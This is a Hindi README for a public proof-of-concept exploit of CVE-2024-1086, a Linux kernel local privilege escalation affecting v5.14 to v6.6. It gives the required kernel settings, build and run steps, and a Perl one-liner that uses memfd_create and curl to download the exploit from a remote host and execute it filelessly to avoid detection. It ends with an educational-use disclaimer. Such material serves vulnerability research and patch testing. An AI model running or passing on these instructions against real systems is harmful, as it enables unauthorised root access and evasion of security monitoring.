
CVE-2024-1086 के लिए स्थानीय विशेषाधिकार वृद्धि एक्सप्लॉइट जो Linux कर्नेल v5.14–v6.6 को लक्षित करता है, जिसकी KernelCTF पर 99.4% सफलता दर है। इसमें पैठ परीक्षण के लिए फ़ाइलरहित निष्पादन समर्थन शामिल है।
CVE-2024-1086 के लिए यूनिवर्सल लोकल प्रिविलेज एस्केलेशन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो v5.14 और v6.6 के बीच अधिकांश लिनक्स कर्नेल पर काम करता है, जिसमें डेबियन, उबंटू और KernelCTF शामिल हैं। KernelCTF इमेज में सफलता दर 99.4% है।
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
एक्सप्लॉइट का पूरा विस्तृत लेख - जिसमें पृष्ठभूमि जानकारी और ढेर सारे उपयोगी आरेख शामिल हैं - Flipping Pages blogpost पर पाया जा सकता है।
एक्सप्लॉइट v5.14 (सहित) से v6.6 (सहित) तक के संस्करणों को प्रभावित करता है, जिसमें पैच की गई शाखाएँ v5.15.149>, v6.1.76>, v6.6.15> शामिल नहीं हैं। इन संस्करणों के लिए पैच फरवरी 2024 में जारी किए गए थे। अंतर्निहित भेद्यता v3.15 से v6.8-rc1 तक के सभी संस्करणों (पैच की गई स्थिर शाखाओं को छोड़कर) को प्रभावित करती है।
चेतावनियाँ:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (उबंटू v6.5 सहित) वाले v6.4> कर्नेल पर काम नहीं करता है।CONFIG_USER_NS=y), उन उपयोगकर्ता नामस्थानों के अविशेषाधिकार प्राप्त होने (sh कमांड sysctl kernel.unprivileged_userns_clone = 1), और nf_tables सक्षम होने (kconfig CONFIG_NF_TABLES=y) की आवश्यकता होती है। डिफ़ॉल्ट रूप से, ये सभी डेबियन, उबंटू और KernelCTF पर सक्षम हैं। अन्य डिस्ट्रोज़ का परीक्षण नहीं किया गया है, लेकिन वे भी काम कर सकते हैं। इसके अतिरिक्त, एक्सप्लॉइट का परीक्षण केवल x64/amd64 पर किया गया है।डिफ़ॉल्ट मान डेबियन, उबंटू और KernelCTF पर स्थानीय शेल के साथ बिना किसी बदलाव के काम करने चाहिए। गैर-परीक्षणित सेटअप/डिस्ट्रोज़ पर, कृपया सुनिश्चित करें कि kconfig मान लक्ष्य कर्नेल से मेल खाते हैं। इन्हें src/config.h में निर्दिष्ट किया जा सकता है। यदि आप 32GiB से अधिक भौतिक मेमोरी वाली मशीन पर एक्सप्लॉइट चला रहे हैं, तो CONFIG_PHYS_MEM बढ़ाना सुनिश्चित करें। यदि आप SSH (परीक्षण मशीन में) या रिवर्स शेल के माध्यम से एक्सप्लॉइट चला रहे हैं, तो अनावश्यक नेटवर्क गतिविधि से बचने के लिए CONFIG_REDIRECT_LOG को 1 पर टॉगल करना चाह सकते हैं।
यदि यह आपके लिए अव्यावहारिक है, तो डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ एक संकलित x64 बाइनरी उपलब्ध है।
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
बाइनरी: CVE-2024-1086/exploit
एक्सप्लॉइट चलाना उतना ही सरल है:
./exploit
फ़ाइललेस निष्पादन भी समर्थित है, पेंटेस्ट स्थितियों के मामले में जहां पहचान से बचने की आवश्यकता है। हालांकि, लक्ष्य पर Perl स्थापित होना आवश्यक है:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
इस सॉफ़्टवेयर निर्देशिका/फ़ोल्डर/भंडार ("भंडार") में प्रोग्राम और स्क्रिप्ट ("प्रोग्राम") केवल शैक्षिक/अनुसंधान उद्देश्यों के लिए प्रकाशित, विकसित और वितरित किए जाते हैं। मैं ("निर्माता") इस भंडार में प्रोग्राम के किसी भी दुर्भावनापूर्ण या अवैध उपयोग का समर्थन नहीं करता, क्योंकि उद्देश्य अनुसंधान साझा करना है न कि इसके साथ अवैध गतिविधियाँ करना। इस भंडार में प्रोग्रामों के साथ आप जो कुछ भी करते हैं, उसके लिए मैं कानूनी रूप से जिम्मेदार नहीं हूँ।